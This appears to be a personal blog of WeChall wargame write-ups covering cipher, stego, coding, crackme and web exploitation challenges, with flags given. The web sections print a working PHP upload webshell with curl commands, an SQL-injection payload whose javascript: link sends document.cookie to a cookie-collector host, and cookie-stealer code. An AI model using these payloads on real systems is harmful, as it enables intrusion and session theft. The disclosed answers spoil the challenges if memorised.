Hello Navi

Tech, Security & Personal Notes

Hello ,

This is a training challenge for simple substitution with an additional problem. The glyphs used all look alike a bit to confuse you. Punctuation has been removed. The text is in english.

I bet you will get it and know what to do with this:


Good Luck!

  • gizmore

Note: The challenge solution is bound to your WeChall session id.

solution

Layer 1: Scream Cipher

每个 Unicode 字符是 A + 变音符号的组合。使用 23 个不同字符(22 个 A 变体 + 1 个纯 A)。

Scream Code Subst
Ǎ U+01CD A
Ǡ U+01E0 B
 U+00C2 C
A U+0041 D
U+1EB2 E
Ä U+00C4 F
U+1EAE G
U+1EB6 H
Ȃ U+0202 I
U+1EA4 J
Ą U+0104 K
U+1EB0 L
U+1EB4 M
Ȧ U+0226 N
Ǟ U+01DE O
U+1EAA P
À U+00C0 Q
Ā U+0100 R
Á U+00C1 S
Ȁ U+0200 T
U+1EA2 U
U+1EA8 V
U+1EAC W
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
>>> CIPHER = {
... "A":"A", # Round-trip!
... "B":"Á","G":"Ẳ","L":"Ậ","Q":"Ǟ","V":"À",
... "C":"Ă","H":"Ẵ","M":"Ầ","R":"Ȧ","W":"Ả",
... "D":"Ắ","I":"Ǎ","N":"Ẩ","S":"Ǡ","X":"Ȃ",
... "E":"Ặ","J":"Â","O":"Ẫ","T":"Ạ","Y":"Ā",
... "F":"Ằ","K":"Ấ","P":"Ä","U":"Ȁ","Z":"Ą",
... }
... CIPHER.update({map(str.lower, kv) for kv in CIPHER.items()})
... UNCIPHER = {v: k for k, v in CIPHER.items()}
...
... def SCREAM(text: str) -> str:
... return "".join(CIPHER.get(ch, ch) for ch in text)
...
... def unscream(scream: str) -> str:
... return "".join(UNCIPHER.get(ch, ch) for ch in scream)
...
...
... print(s := SCREAM("**************************************************************************************************************************\
*************************************************************************************************************************************************\
******************************************************************"))
... # ǠĂȦẶAẦ ĂǍÄẴẶȦ
...
... print(unscream(s))
... # SCREAM CIPHER

Layer 2: 替换密码

中间字母 (A-W) 构成替换密码,无空格(连续文本)。使用 quadgram hill-climbing 破解。

替换映射表(Cipher → Plain):

Cipher Plain Cipher Plain
A E N G
B T O D
C S P C
D A Q M
E O R K
F I S P
G N T F
H U U W
I R V V
J Y W X
K H
L L
M B

使用 subsolve (Rust, quadgram hill climbing):

1
subsolve --patristocrat -f cipher_text.txt
1
❯ ./target/release/subsolve "*********************************************************************************************************************************************************************************************************************************************************************************************************************************************"

也可以看成一个非常规单次加密的单表替换Scream Cipher。

Challenge

Chessy Hawks (Crypto, Logic)

Today something weird happened to you. You took a walk in the park and found a USB stick on a chessboard, together with weird numerals on the playfield. You instantly wondered if they are related to each other, and took both the stick and a sketch of the board home. Your thoughts were right. The stick seems encrypted and the chessboard probably reveals the password.

一张 GIF 图片 chessy_hawks.gif,画着一个 8×8 棋盘,某些格子上有 hex 数字。

Solution

棋盘坐标本身可以看作 hex 值:a=0xA, b=0xB, ..., h=0x17。每个有数字的格子上标着一个 hex 值,黄圈正数,蓝圈负数,计算方式为:

1
chr(coordinate_hex - value_on_board)

其中 coordinate_hex = int(str(rank) + file_letter, 16)。

例如 a8:coord = 0x8A = 138,格子上 0x24 = 36。138 − 36 = 102 = 0x66 = f

负值实际做加法(减去负数 = 加绝对值)。例如 f6:coord = 0x6F = 111,格子上 −8,111 − (−8) = 119 = 0x77 = w

所有有数字的格子计算结果如下:

Coord Board Calc Char
a8 (8A) 0x24 0x8A − 0x24 = 0x66 f
e8 (8E) 0x3C 0x8E − 0x3C = 0x52 R
b5 (5B) −0x13 0x5B − (−0x13) = 0x6E n
c6 (6C) 0x49 0x6C − 0x49 = 0x23 # (注)
d6 (6D) 0x1D 0x6D − 0x1D = 0x50 P
f6 (6F) −0x08 0x6F − (−0x08) = 0x77 w
a4 (4A) 0x19 0x4A − 0x19 = 0x31 1
e4 (4E) 0x1B 0x4E − 0x1B = 0x33 3
d2 (2D) −0x2D 0x2D − (−0x2D) = 0x5A Z

注:c6 的值 0x49 对应 #,但它是原始 hex 45 解码环节的一部分。

按坐标顺序 (a8→e8→c6→d6→f6→b5→a4→e4→d2) 读取字符,得到:

1
f R 3 3 P w n 1 3 Z
fR33Pwn13Z

Challenge

The Mime Files (Exploit)

Hello Hacker, As you know, i am constantly developing great new websites. But this time, i am puzzled... Somehow, hackers broke into my new site "The Mime Files" and read the contents of solution.php. OUCH! Can you help me to find the vulnerability?

Source Code Analysis

Web app at https://themimefiles.warchall.net/ 是一个文件上传站点。

lib/upload.php — 核心上传逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
function uploadFile(array $file)
{
$mime = mime_content_type($file['tmp_name']);
if (strpos($mime, 'image') !== 0) // 检查 MIME 以 image 开头
return false;

$data = file_get_contents($file['tmp_name']);
if (stripos($data, '<?php') !== false) // 检查 PHP 代码
return false; // # This does not seem to help :/

$path = 'upload/' . session_id() . '/' . $file['name'];
rename($file['tmp_name'], $path);
}

Vulnerabilities

1. MIME 类型绕过: mime_content_type() 会根据文件头判断类型。添加 GIF 头可使文件被识别为 image/gif

2. PHP 代码检测绕过: stripos($data, '<?php') 只检测 <?php 字面串。使用 PHP 短标签 <?= 即可绕过 — 它完全不含 "php" 字符串。作者注释 # This does not seem to help :/ 也暗示了这个绕过。

3. 文件扩展名白嫖: 没有扩展名过滤,可直接上传 .php 文件。

Exploit

构造 payload 文件:

1
printf 'GIF89a<?= file_get_contents("../solution.php") ?>' > shell.php

GIF89a 头 → MIME check 通过 (image/gif) <?= 短标签 → PHP 检测绕过 .php 后缀 → Apache 以 PHP 执行

上传并访问:

1
2
3
4
5
6
7
curl -b "PHPSESSID=xxx" \
-F "mimefile=@shell.php;filename=shell.php" \
-F "upload=upload" \
https://themimefiles.warchall.net/upload.php

curl -b "PHPSESSID=xxx" \
https://themimefiles.warchall.net/upload/SESSION_ID/shell.php

返回:GIF89a<?php\n// GoodyearGoodeveGooday

Flag

GoodyearGoodeveGooday

Challenge

The Cookie is a lie (Special)

You, Chell want to destroy GLaDOS. For this mission you have to steal the cookie from GLaDOS in order to get access to the mainframe in the Enrichment Center.

You have found a source code for a web application, which is vulnerable to sql-injection and xss attacks. This web application runs on the mainframe (accessible only from the internal network).

Bad news are that you can't access the mainframe without the cookie, only GLaDOS can. Another bad news are that the www-user has only read access on the mainframe database, and stacking the queries is not working.

You have read the protocols that if GLaDOS receives a new e-mail with an id in it, GLaDOS will visit the experience web application above, enter the id and click on the first link in order to gather information about the new experience subject.

Your mission is to send a special id to GLaDOS, in order to steal the cookie data. (*write Z a PM with the challenge title as subject)

Source Code Analysis

挑战提供两个 PHP 源码文件:

experience.php(主框架上的 Web 应用):

1
2
3
4
5
6
7
8
9
10
$id = $_GET['id'];
$id=str_replace('<','',$id);
$id=str_replace('>','',$id);
$id=str_replace(';','',$id);
$query= "SELECT * FROM experience WHERE id=".$id."";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result);
$filename = str_replace('<','',$row['filename']);
$filename = str_replace('>','',$filename);
echo '<a href='.$filename.'>Click here to view the file.</a>';
  • id 参数无引号拼接 → SQL 注入
  • $filename 直接进入 <a href=$filename>XSS (href 注入)
  • 过滤:<, >, ; 被删除
  • magic_quotes_gpc 已关闭,引号可用

steal_cookie.php(测试服务器上的 cookie 收集器):

1
2
3
4
$cookie=$_GET['cookie'] . "\n";
$fh=fopen('evil.txt','ab');
fwrite($fh,$cookie);
fclose($fh);

表结构(论坛确认):experience 表有 2 列:id (int), filename (varchar(500))。

攻击链

  1. 构造 SQL 注入 payload,使用 UNION SELECT 控制 filename 字段
  2. filename 设为 javascript: 协议 URL,读取 document.cookie 并发送到 steal_cookie.php
  3. PM 给 Z,主题 "The Cookie is a lie",消息体为 SQLi payload
  4. GLaDOS bot 读取 PM → 访问 experience.php → 输入 ID → 点击第一个链接
  5. cookie 被发送到 http://test.cake/steal_cookie.php?cookie=...
  6. 从 evil.txt 读取 cookie → 提交解

Payload(2 列 UNION SELECT):

1
1 UNION SELECT 1,"javascript:document.location='http://test.cake/steal_cookie.php?cookie='+document.cookie"

阻塞原因

GLaDOS bot 已失效。和 Fix Us 同样的问题——Z 的自动化 bot 早在 2012 年就已停止运行。

解题历史佐证

查看 challenge solvers 页面,解题时间线如下:

  • 2008-09-20: Visualq, Z (首批)
  • 2008-09-20 ~ 2012-11-09: 陆续 71 人解出
  • 2012-11-09: 最后一人解出
  • 2012-11-09 ~ 至今 (13年+): 零人解题

参考

  • https://www.wechall.net/en/challenge/Z/cookie_is_a_lie/index.php
  • http://www.wechall.net/forum-t102/Challenge_The_Cookie_is_a_lie.html

Challenge

Fix Us (Exploit, PHP)

Your mission is now to maintain access to the solution boards for the Z challenges. Your plan is to gather information about the challenge solutions and gain more points on WeChall.net. Because Z is a naive, click-before-think guy, he clicks on every link you send him. Your plan is to send Z a malicious, but innocent looking link, and once he logs in WeChall, you will be able to login in the credentials of Z - and read the solution boards as well. Gizmore did a good job against XSS and CSRF, so you have to find another flaw to log in. After examining the WeChall source code, you found a hidden login page for the Z solution boards.

Analysis

攻击面

挑战提供三个入口: 1. login.php — 隐藏的 Z solution boards 登录表单(字段:zusername + zuserp) 2. forum.php — 秘密论坛,需要 Z 权限才能访问 3. "Send a link to Z" — 向 Z 发送恶意链接

登录验证使用 WeChall 主站数据库(论坛 hint 证实:"To use the login form, simply use your real wechall username/password."),所以 Z 的 fixus 密码就是他的 WeChall 密码。

攻击链(理论)

  1. 搭建一个 HTTP endpoint(VPS、Cloudflare Tunnel 等)
  2. 通过 "Send a link to Z" 给 Z 发送恶意链接
  3. Z 的 bot 点击链接,访问 endpoint
  4. 捕获 Z 的请求(HTTP headers、cookie、Authorization 等)
  5. 用 Z 的身份登录 fixus → 获取 secret forum 内容 → 拿到 flag

关键线索

论坛 hint 帖(forum-t223)给出以下信息: - "Check the Links, Tutorials..." — Z 在 tutorials 区发过一个链接,内容与本挑战相关 - "It's neither a bee nor a hornet" — 排除 BeEF(#58),不是 XSS 框架攻击 - "it might work with the data in URLs, but does not work sent in the http headers" — fixus 登录接受 GET 参数(原为 bug),但预期攻击方式是通过 HTTP headers - "The challenge might be currently a bit buggy" — 挑战可能有 bug,Z bot 可能不正常

阻塞原因

Z bot 不可用(疑似损坏)。用 Cloudflare Tunnel 建立了公开 HTTP endpoint,发送了多个不同格式的链接给 Z,没有任何请求到达。挑战论坛的最后一个 hint 帖(2015年)已指出挑战可能有 bug。

结论

挑战依赖 Z bot 的外部交互,该 bot 目前停用。留待 Z bot 修复后再尝试。

解题历史

查看 challenge solvers 页面,Fix Us 的解题时间线如下:

  • 2009-03-25: gizmore (创建者)
  • 2009-03-27 ~ 2012-03-25: 陆续 91 人解出
  • 2012-03-25: 最后一人解出
  • 2012-03-25 ~ 至今 (14年+): 零人解题

92 人的总解题数自 2012 年起从未增长。bot 早在 14 年前就已失效,挑战在当前状态下不可解。

参考

  • https://www.wechall.net/en/challenge/fixus/index.php
  • https://www.wechall.net/forum-t223/Just_a_hint.html

Challenge

WeChall 上的 Eigentor(Special, Tor),要求通过 Tor 访问 Edward Snowden Land(https://es-land.net),注册后在 Account Settings 的 TorChallenge 分类获取一次性 16 位 token,提交即完成。

WeChall 服务端验证方式:POST answer → 调用 https://es-land.net/torchallenge;trytoken.json?token=<answer>{"status":0} 无效 / {"status":1} 正确 / {"status":2} 已使用。

Solution

启动 Tor(系统 torrc 有 User 指令需 root,创建自定义配置):

1
2
3
4
5
6
7
cat > /tmp/torrc << 'EOF'
SocksPort 9050
DataDirectory /tmp/tor_data
Log notice file /tmp/tor_log
EOF
mkdir -p /tmp/tor_data
tor -f /tmp/torrc &

i manually sign up btw

登录 ESL(通过 SOCKS5 代理,cookie jar 绑定 session):

1
2
3
curl --socks5-hostname 127.0.0.1:9050 -c /tmp/esl.txt \
-d 'login=Return4837&password=<pw>&submit=Login' \
'https://es-land.net/login;form.html?_lang=en'

提取 token — account settings 页面的 eigentor 字段只有从 Tor exit node 访问时才被填充。非 Tor 访问时空值:

1
2
3
curl --socks5-hostname 127.0.0.1:9050 -b /tmp/esl.txt \
'https://es-land.net/account;allsettings.html?_lang=en' | \
grep -oP 'name="eigentor"[^>]*value="\K[^"]+'

返回 <TOKEN> — 16 位字母数字 token。

Challenge

Illuminati (Stegano) We found a document from the Illuminati, which is told to contain the hidden password to enter their vault. They are known to be masters of steganography, but maybe you can figure the password out for us. Good luck! gizmore

"A place to gather, a place to hide, should be well hidden and plain in sight. Where should you start how to begin, if nothings here except a thin phrase of text and random words, are you still lost does the brain hurts?"

Solution

挑战附带了一个自定义字体文件 sometimes.ttf 和 CSS 文件 some.css。CSS 中通过 5 个无效的 font-weight 声明拼出 wrong

sometimes.ttf 实际上是一个 SFD (SplineFont) 格式的字体文件,其中的句号字符(.)被修改了。

1
2
❯ file sometimes.ttf
sometimes.ttf: Spline Font Database version 3.0

解法步骤: 1. 下载 https://www.wechall.net/challenge/illuminati/sometimes.ttf 2. 用 FontForge 打开该字体文件 3. 查看 period/句号字符(U+002E) 4. 该 glyph 内部绘有密码文本 ILLUMOSATMO

ILLUMOSATMO

Challenge

WeChall 上的 Letterworm(Coding),Lettergrid 的变体。单词在网格中可以中途改变方向(Boggle-style zigzag),不再是直线扫描。限时 4.5 秒提交,答案按起点 (row, col) 排序,逗号分隔。最小长度 6 字符。

Solution

核心思路:Trie 剪枝的 DFS。流程:

  1. 73h_vordz.php 获取候选词表(97 个计算机/编程相关单词)
  2. generate.php 获取网格(iframe 内嵌,<pre> 标签包裹)
  3. 用词表构建 Trie
  4. 从每个格子出发 DFS 8 方向搜索,Trie 提前剪枝
  5. 去除真子串(如 "program" 存在时移除 "programs"... 此题其实不需要)
  6. 按起点 (row, col) 升序排列,逗号拼接提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
"""Letterworm solver — Trie + DFS, sub-4.5s"""
import requests, re, time
from urllib.parse import quote

BASE = "http://www.wechall.net/challenge/letterworm"
COOKIE = {"WC": "your_cookie"}
UA = "Mozilla/5.0 Chrome/131"

class TrieNode:
__slots__ = ('children', 'is_word')
def __init__(self):
self.children = {}
self.is_word = False

# 1. Fetch wordlist (cached per session)
t0 = time.time()
sess = requests.Session()
sess.headers.update({"User-Agent": UA})
sess.cookies.update(COOKIE)

r = sess.get(f"{BASE}/73h_vordz.php", timeout=5)
words = [w.strip().lower() for w in r.text.strip().split('\n') if w.strip()]
root = TrieNode()
for w in words:
node = root
for ch in w:
node = node.children.setdefault(ch, TrieNode())
node.is_word = True
print(f"Wordlist: {len(words)} words")

# 2. Fetch grid (starts the 4.5s timer!)
r = sess.get(f"{BASE}/generate.php", timeout=5)
m = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
grid = [l.strip().lower() for l in m.group(1).split('\n')
if l.strip() and all(c.isalpha() for c in l.strip())]
ROWS, COLS = len(grid), len(grid[0])
print(f"Grid: {ROWS}x{COLS}")

# 3. DFS search
DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
found = {} # word -> (r0, c0)

for r0 in range(ROWS):
for c0 in range(COLS):
ch = grid[r0][c0]
if ch not in root.children:
continue
stack = [(r0, c0, root.children[ch], frozenset([(r0, c0)]), ch)]
while stack:
cr, cc, node, vis, word = stack.pop()
if node.is_word and word not in found:
found[word] = (r0, c0)
for dr, dc in DIRS:
nr, nc = cr + dr, cc + dc
if 0 <= nr < ROWS and 0 <= nc < COLS and (nr, nc) not in vis:
nch = grid[nr][nc]
if nch in node.children:
stack.append((nr, nc, node.children[nch],
vis | frozenset([(nr, nc)]), word + nch))

print(f"Found: {len(found)} words in {time.time()-t0:.3f}s")

# 4. Sort and submit
answer = ','.join(sorted(found, key=lambda w: found[w]))
r = sess.get(f"{BASE}/index.php", params={"solution": answer, "submit": "Submit"})
print("Correct!" if "Correct after" in r.text else f"Failed: {r.text[:200]}")
  • 词表来源73h_vordz.php(= "the_words" leet),gitignored 但 live server 可访问。共 97 个计算机/编程单词,不是全量英语词典
  • 4.5 秒时限:从 generate.php 调用开始计时。本地 Trie 构建 + DFS 不到 10ms,瓶颈在网络延迟
password,program,partition,evaluate

Challenge

WeChall 上的 The Last Hope(Linux, Cracking),由一个 32-bit ELF 二进制构成。

反调试绕过

二进制有 5 层反调试,必须全部 patch 掉才能正常运行或调试。

先用 rabin2 获取基本信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ rabin2 -I bsd_thelasthope.elf
arch x86
binsz 10569
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3
nx true
os linux
pic false
relocs false
static false
stripped false
subsys linux

Layer 1: .ctors 构造函数

main() 之前,.ctors 段中的 anti_ptrace 就会被调用:

1
2
$ r2 -q -c 'pf. S .ctors' bsd_thelasthope.elf
0x0804af00 ffffffff 5b8c0408 00000000 ....[.......

0x08048c5banti_ptrace。将其 patch 为 0xffffffff(sentinel 值),让反向遍历提前终止:

1
2
# .ctors entry @ VA 0x0804af04 → 文件偏移 = VA - 0x08049000 = 0x1f04
printf '\xff\xff\xff\xff' | dd of=bsd_thelasthope.elf bs=1 seek=$((0x1f04)) conv=notrunc

Layer 2 & 3: main 中的 anti_ptrace 调用 + SIGTRAP handler

用 r2 查看 main 的 disassembly:

1
$ r2 -A -q -c 'pdf @ main' bsd_thelasthope.elf

关键片段:

1
2
3
4
0x08048d59: call anti_ptrace
0x08048d5e: mov dword [esp+4], handler ; signal handler
0x08048d66: mov dword [esp], 5 ; SIGTRAP
0x08048d6d: call signal

Patch 这两处为 NOP:

1
2
# VA 0x08048d59 → 文件偏移 0x0d59: 5 bytes → NOP
# VA 0x08048d6d → 文件偏移 0x0d6d: 5 bytes → NOP

Layer 4: INT3 + breakpoint 检测

1
2
3
4
5
6
7
8
0x08048d72: int3                    ; SIGTRAP → handler 吞掉
0x08048d73: mov eax, 0x8048bd1 ; pw_check 地址
0x08048d78: add eax, 3
0x08048d7b: mov eax, [eax]
0x08048d7d: and eax, 0xff
0x08048d82: cmp eax, 0xcc ; 检查 pw_check+3 是否被设了 0xCC (int3)
0x08048d87: jne ...
; 如果发现 0xCC → 打印 "no,no breakpoints" → exit

Patch 方案:把 int3 (VA 0x08048d72 → 文件偏移 0x0d72) NOP 掉,把 jne (VA 0x08048d87 → 0x0d87) 改为 jmp

Layer 5: ptrace(PTRACE_TRACEME)

1
2
3
0x08048dc0: call ptrace             ; ptrace(PTRACE_TRACEME, 0, 1, 0)
0x08048dc5: test eax, eax
0x08048dc7: jns ... ; ≥0 → 正常; <0 → "oh oh DEBUGGING... Bye"

由于 Layer 1 的 fork 子进程已经 ptrace(ATTACH) 了父进程,PTRACE_TRACEME 必然失败(一个进程只能被一个 tracer 追踪)。改为 xor eax, eax

1
# VA 0x08048dc0 → 文件偏移 0x0dc0: 5 bytes → xor eax,eax; nop; nop; nop (31 c0 90 90 90)

完整 patch 脚本见文末。

Username 逆向 (user_check)

函数调用链

用 r2 列出关键函数:

1
2
3
4
$ r2 -q -c 'afl~check' bsd_thelasthope.elf
0x08048863 user_check
0x08048bd1 pw_check
0x080487a6 length_check

main 中的处理流程:

  1. fgets(username, 15, stdin) — 读入包含换行符(如 "whoami\n"strlen=7
  2. lc(username, len) — 检查前 len-1 个字符不含大写字母
  3. uc(username, len) — 将前 len-1 个字符转为大写(原地修改,内部调用 toupper()
  4. user_check(username, len) — 逐字符验证

由于 fgets 保留换行符,strlen("whoami\n")=7,循环 i=0..5 覆盖全部 6 个有效字符。换行符在 i=6 处被排除。

约束条件(应用于大写 ASCII 值)

pwntools 快速提取符号和关键常量:

1
2
3
4
5
6
7
8
from pwn import *

elf = ELF('bsd_thelasthope.elf')
print(f"user_check @ {elf.symbols['user_check']:#x}")

# 读取加密目标字符串(位于 .rodata 0x08049050)
target = elf.read(0x08049050, 10)
print(f"encrypted target: {target}") # b'Oxw|n]nfog'

user_check 对每个位置 i 执行不同的检查,将满足条件的值累加到 accumulator,最终与 0xcd5 (3285) 比较:

  • 0, 1, 4: 6c±1 双 Fermat + 硬编码,累加 +13c。f0=6c-1, f1=6c+1 均须为基-2 伪素数
  • 2, 5: 单 Fermat (c 自身),累加 +c。2^(c-1) mod c == 1
  • 3: 整除性,累加 +c。c % 5 == 0

硬编码检查(在 fermat 通过后执行):

  • U[0]: 2×c == 0xae (174) → c = 87 = W
  • U[1]: 2×c == 0x90 (144) → c = 72 = H
  • U[4]: 2×c == 0x9a (154) → c = 77 = M

U[0], U[1], U[4] 被固定为 W, H, M。同时要求 6c±1 为素数对(twin primes 模式):

  • W=87: 6×87-1=521(✓), 6×87+1=523(✓)
  • H=72: 6×72-1=431(✓), 6×72+1=433(✓)
  • M=77: 6×77-1=461(✓), 6×77+1=463(✓)

注意:positions 0,1,4 的 fermat 检查后有一条看似多余的 c == floor(6c/5) 比较,实际上编译器 magic constant 0x2aaaaaab 做的是除以 6(而非除以 5)。floor(6c/6) == c 恒成立,实为 no-op。

求解

已知 13×(87+72+77) = 3068,剩余:3285 - 3068 = 217。

在 A-Z (65-90) 范围内筛选:

  • U[2], U[5] 须为 Fermat 伪素数: C, G, I, O, S, Y
  • U[3] 须被 5 整除: A, F, K, P, U, Z

求 U[2] + U[3] + U[5] = 217 的解:

1
2
3
U[2]=G(71), U[3]=K(75), U[5]=G(71) → WHGKMG (whgkmg)
U[2]=I(73), U[3]=A(65), U[5]=O(79) → WHIAMO (whiamo)
U[2]=O(79), U[3]=A(65), U[5]=I(73) → WHOAMI (whoami)

唯一形成有意义单词的是 WHOAMI,对应输入 whoami(程序通过 uc() 自动转大写)。

z3 求解(替代方案)

此题约束本质是 CSP:6 个变量、有限域(A-Z)、线性方程 + 素性谓词。z3 的 table-driven 模式很适合——预计算 26 个字符中哪些满足各位置约束,交给 z3 解线性部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from z3 import *

def is_fermat_prime(n):
if n < 2: return False
return pow(2, n-1, n) == 1

# 预计算:26 个字符中哪些满足各位置的素性约束
valid_014 = [c for c in range(65,91)
if is_fermat_prime(6*c-1) and is_fermat_prime(6*c+1)]
valid_25 = [c for c in range(65,91) if is_fermat_prime(c)]
valid_3 = [c for c in range(65,91) if c % 5 == 0]

# Bool table:每个字符是否满足对应约束
table_014 = {c: Bool(f"twin_{c}") for c in range(65, 91)}
table_25 = {c: Bool(f"prime_{c}") for c in range(65, 91)}
table_3 = {c: Bool(f"mod5_{c}") for c in range(65, 91)}

s = Solver()
for c in range(65, 91):
s.add(table_014[c] == (c in valid_014))
s.add(table_25[c] == (c in valid_25))
s.add(table_3[c] == (c % 5 == 0))

U = [BitVec(f'U{i}', 16) for i in range(6)]
for i in range(6):
s.add(U[i] >= 65, U[i] <= 90)

# Per-position constraints via table lookup
s.add(Or([And(U[0] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[1] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[4] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[2] == c, table_25[c]) for c in range(65, 91)]))
s.add(Or([And(U[5] == c, table_25[c]) for c in range(65, 91)]))
s.add(Or([And(U[3] == c, table_3[c]) for c in range(65, 91)]))

# Hardcoded checks (from assembly)
s.add(2 * U[0] == 174) # 0xae → W
s.add(2 * U[1] == 144) # 0x90 → H
s.add(2 * U[4] == 154) # 0x9a → M

# Accumulator sum
s.add(13 * (U[0] + U[1] + U[4]) + U[2] + U[3] + U[5] == 3285)

while s.check() == sat:
m = s.model()
name = ''.join(chr(m[U[i]].as_long()) for i in range(6))
print(f"{name}{name.lower()}")
s.add(Or([U[i] != m[U[i]] for i in range(6)]))

# Output:
# WHGKMG → whgkmg
# WHOAMI → whoami
# WHIAMO → whiamo

为什么不用 angr? 此题有 x87 浮点指令(fprem/fmod 做 Fermat 检验)+ fork/ptrace 反调试 + INT3 断点检测。angr 的 VEX IR 对 x87 浮点栈支持弱,fork 会直接 concretize,且 patch 5 层反调试后 angr 能做的也只是验证已知路径——不如直接 z3 解约束。

Password 逆向 (pw_check)

XOR 加密

用 r2 反编译 encrypt 函数:

1
$ r2 -A -q -c 'pdf @ sym.encrypt' bsd_thelasthope.elf

main 中定义了 15 字节 XOR key(位于 [ebp-0x44]):

1
2
[0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14,
0x16, 0x0c, 0x06, 0x0d, 0x65]

encrypt() 函数对密码逐字节 XOR:

1
2
for (i = 0; i < len; i++)
password[i] ^= key[i % 15];

然后 chomp() 去掉末尾换行符,pw_check() 将结果与硬编码字符串比较。

用 pwntools 直接读取目标字符串:

1
2
3
4
from pwn import *
elf = ELF('bsd_thelasthope.elf')
target = elf.read(0x08049050, 10).decode()
print(f"target: {target}") # Oxw|n]nfog

或直接用 r2:

1
2
$ r2 -q -c 'ps @ 0x08049050' bsd_thelasthope.elf
Oxw|n]nfog

求解

直接逆向 XOR,key 和密文等长(均为 10 字节):

1
2
3
4
encrypted = b"Oxw|n]nfog"
key = [0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14]
password = ''.join(chr(e ^ key[i]) for i, e in enumerate(encrypted))
# → "PrimeTwins"

验证

1
2
3
4
5
6
7
8
9
10
O=0x4f ^ 0x1f = 0x50 = P
x=0x78 ^ 0x0a = 0x72 = r
w=0x77 ^ 0x1e = 0x69 = i
|=0x7c ^ 0x11 = 0x6d = m
n=0x6e ^ 0x0b = 0x65 = e
]=0x5d ^ 0x09 = 0x54 = T
n=0x6e ^ 0x19 = 0x77 = w
f=0x66 ^ 0x0f = 0x69 = i
o=0x6f ^ 0x01 = 0x6e = n
g=0x67 ^ 0x14 = 0x73 = s

完整 Patch 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
"""Patch anti-debug measures in bsd_thelasthope.elf

ELF segment layout:
text: file 0x000000 → VA 0x08048000 (file_off = VA - 0x08048000)
data: file 0x001f00 → VA 0x0804af00 (file_off = VA - 0x08049000)
"""
import sys

def patch(filepath):
with open(filepath, 'r+b') as f:
# Layer 1: .ctors → nuke anti_ptrace entry (VA 0x0804af04, data seg)
f.seek(0x1f04)
f.write(b'\xff\xff\xff\xff')

# Layer 2: NOP call anti_ptrace @ VA 0x08048d59 (5 bytes, text seg)
f.seek(0x0d59)
f.write(b'\x90' * 5)

# Layer 3: NOP call signal @ VA 0x08048d6d (5 bytes)
f.seek(0x0d6d)
f.write(b'\x90' * 5)

# Layer 4a: NOP int3 @ VA 0x08048d72 (1 byte)
f.seek(0x0d72)
f.write(b'\x90')

# Layer 4b: bypass 0xCC check — jne→jmp @ VA 0x08048d87 (1 byte)
f.seek(0x0d87)
f.write(b'\xeb') # 0x75(jne) → 0xeb(jmp)

# Layer 5: call ptrace → xor eax,eax @ VA 0x08048dc0 (5 bytes)
f.seek(0x0dc0)
f.write(b'\x31\xc0\x90\x90\x90') # xor eax,eax; nop; nop; nop

print(f"Patched: {filepath}")

if __name__ == '__main__':
patch(sys.argv[1] if len(sys.argv) > 1 else 'bsd_thelasthope.elf')

Patch 后运行:

1
2
3
4
5
6
$ python3 patch.py bsd_thelasthope.elf
$ chmod +x bsd_thelasthope.elf
$ ./bsd_thelasthope.elf
User: whoami
Password: PrimeTwins
Correct !! The solution is username_password
whoami_PrimeTwins

Challenge

Railsbin (Exploit) — score 3, by gizmore.

The project named "railsbin" is open source, but has a few security problems. Can you exploit the demo site? The solution is the password hash of user solution.

Railsbin 是一个开源 Ruby on Rails pastebin demo。源码在 gizmore/railsbin。目标是得到用户 solution 的 bcrypt password hash。

Solution

源码审计发现 UsersController#index 有一个漏洞:

1
2
3
4
5
# app/controllers/users_controller.rb:8
def index
@users = User.all
@users.map {|u| u.password = u.encrypted_password }
end

encrypted_password(bcrypt hash)复制到虚拟属性 password 上。JSON view 直接序列化暴露:

1
2
# app/views/users/index.json.jbuilder
json.extract! user, :id, :name, :email, :password

无需认证,直接请求:

1
GET https://railsbin.wechall.net/users.json

返回所有用户的完整 bcrypt hash,包括 solution 用户:

1
2
3
4
5
6
{
"id": 17,
"name": "solution",
"email": "solution@wechall.net",
"password": "$2a$10$44GwiA6ai0wxjzhFkeyjuO3kdVvmco8ReypH7H1tLsM2OrRFhe4CK"
}
$2a$10$44GwiA6ai0wxjzhFkeyjuO3kdVvmco8ReypH7H1tLsM2OrRFhe4CK
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE